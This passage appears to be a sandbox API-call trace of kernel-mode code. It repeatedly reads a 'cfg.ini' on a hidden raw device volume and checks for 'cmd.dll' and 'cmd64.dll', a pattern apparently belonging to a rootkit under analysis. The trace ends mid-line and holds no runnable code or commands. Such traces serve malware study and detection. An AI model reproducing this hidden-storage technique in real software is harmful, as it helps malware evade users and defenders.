ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.802] KeLeaveCriticalRegion () [0124.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.802] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.802] KeEnterCriticalRegion () [0124.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.802] KeLeaveCriticalRegion () [0124.802] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.802] KeEnterCriticalRegion () [0124.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.802] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.802] IdePortDispatch () returned 0x103 [0124.802] KeWaitForMutexObject () returned 0x0 [0124.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.802] KeLeaveCriticalRegion () [0124.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.803] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.803] KeEnterCriticalRegion () [0124.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c2000 [0124.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.803] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.803] IdePortDispatch () returned 0x103 [0124.803] KeWaitForMutexObject () returned 0x0 [0124.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.803] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.803] IdePortDispatch () returned 0x103 [0124.803] KeWaitForMutexObject () returned 0x0 [0124.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.803] KeLeaveCriticalRegion () [0124.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.804] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.804] KeEnterCriticalRegion () [0124.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] KeLeaveCriticalRegion () [0124.804] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.804] KeEnterCriticalRegion () [0124.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.804] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] KeLeaveCriticalRegion () [0124.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.804] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.804] KeEnterCriticalRegion () [0124.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] ExFreePoolWithTag (P=0xfffffa8003bf3530, Tag=0x0) [0124.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.804] KeLeaveCriticalRegion () [0124.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.804] ReleaseMutex (hMutex=0xf0) returned 1 [0124.804] Sleep (dwMilliseconds=0x124f80) [0124.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.818] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.818] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.818] KeEnterCriticalRegion () [0124.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.818] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.818] IdePortDispatch () returned 0x103 [0124.818] KeWaitForMutexObject () returned 0x0 [0124.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.818] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.818] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.818] KeLeaveCriticalRegion () [0124.818] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.818] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.818] KeEnterCriticalRegion () [0124.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.818] KeLeaveCriticalRegion () [0124.818] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.819] KeEnterCriticalRegion () [0124.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.819] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.819] IdePortDispatch () returned 0x103 [0124.819] KeWaitForMutexObject () returned 0x0 [0124.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.819] KeLeaveCriticalRegion () [0124.819] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.819] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.819] KeEnterCriticalRegion () [0124.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c7000 [0124.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.819] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.819] IdePortDispatch () returned 0x103 [0124.819] KeWaitForMutexObject () returned 0x0 [0124.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.819] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.819] IdePortDispatch () returned 0x103 [0124.821] KeWaitForMutexObject () returned 0x0 [0124.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.821] KeLeaveCriticalRegion () [0124.821] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.822] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.822] KeEnterCriticalRegion () [0124.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] KeLeaveCriticalRegion () [0124.822] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.822] KeEnterCriticalRegion () [0124.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.822] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf36f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] KeLeaveCriticalRegion () [0124.822] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.822] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.822] KeEnterCriticalRegion () [0124.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.822] KeLeaveCriticalRegion () [0124.822] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.822] ReleaseMutex (hMutex=0xf0) returned 1 [0124.822] Sleep (dwMilliseconds=0x124f80) [0124.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.836] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.836] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.836] KeEnterCriticalRegion () [0124.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.836] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.836] IdePortDispatch () returned 0x103 [0124.836] KeWaitForMutexObject () returned 0x0 [0124.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.836] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.836] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.836] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.836] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.836] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf49d0 [0124.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.836] KeLeaveCriticalRegion () [0124.836] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.836] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.836] KeEnterCriticalRegion () [0124.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.836] KeLeaveCriticalRegion () [0124.837] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.837] KeEnterCriticalRegion () [0124.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.837] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.837] IdePortDispatch () returned 0x103 [0124.837] KeWaitForMutexObject () returned 0x0 [0124.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.837] KeLeaveCriticalRegion () [0124.837] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.837] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.837] KeEnterCriticalRegion () [0124.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cc000 [0124.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.837] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.837] IdePortDispatch () returned 0x103 [0124.837] KeWaitForMutexObject () returned 0x0 [0124.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.837] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.837] IdePortDispatch () returned 0x103 [0124.838] KeWaitForMutexObject () returned 0x0 [0124.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.838] KeLeaveCriticalRegion () [0124.838] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.838] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.838] KeEnterCriticalRegion () [0124.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.838] KeLeaveCriticalRegion () [0124.838] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.838] KeEnterCriticalRegion () [0124.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.838] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.838] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4a90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.838] KeLeaveCriticalRegion () [0124.838] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.839] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.839] KeEnterCriticalRegion () [0124.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.839] ExFreePoolWithTag (P=0xfffffa8003bf49d0, Tag=0x0) [0124.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.839] KeLeaveCriticalRegion () [0124.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.839] ReleaseMutex (hMutex=0xf0) returned 1 [0124.839] Sleep (dwMilliseconds=0x124f80) [0124.853] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.853] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.853] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.853] KeEnterCriticalRegion () [0124.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.853] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.853] IdePortDispatch () returned 0x103 [0124.853] KeWaitForMutexObject () returned 0x0 [0124.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3220 [0124.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.853] KeLeaveCriticalRegion () [0124.853] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.854] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.854] KeEnterCriticalRegion () [0124.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.854] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.854] KeLeaveCriticalRegion () [0124.854] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.854] KeEnterCriticalRegion () [0124.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.854] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.854] IdePortDispatch () returned 0x103 [0124.854] KeWaitForMutexObject () returned 0x0 [0124.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.854] KeLeaveCriticalRegion () [0124.854] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.854] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.854] KeEnterCriticalRegion () [0124.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d1000 [0124.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.854] MmProbeAndLockPages (in: 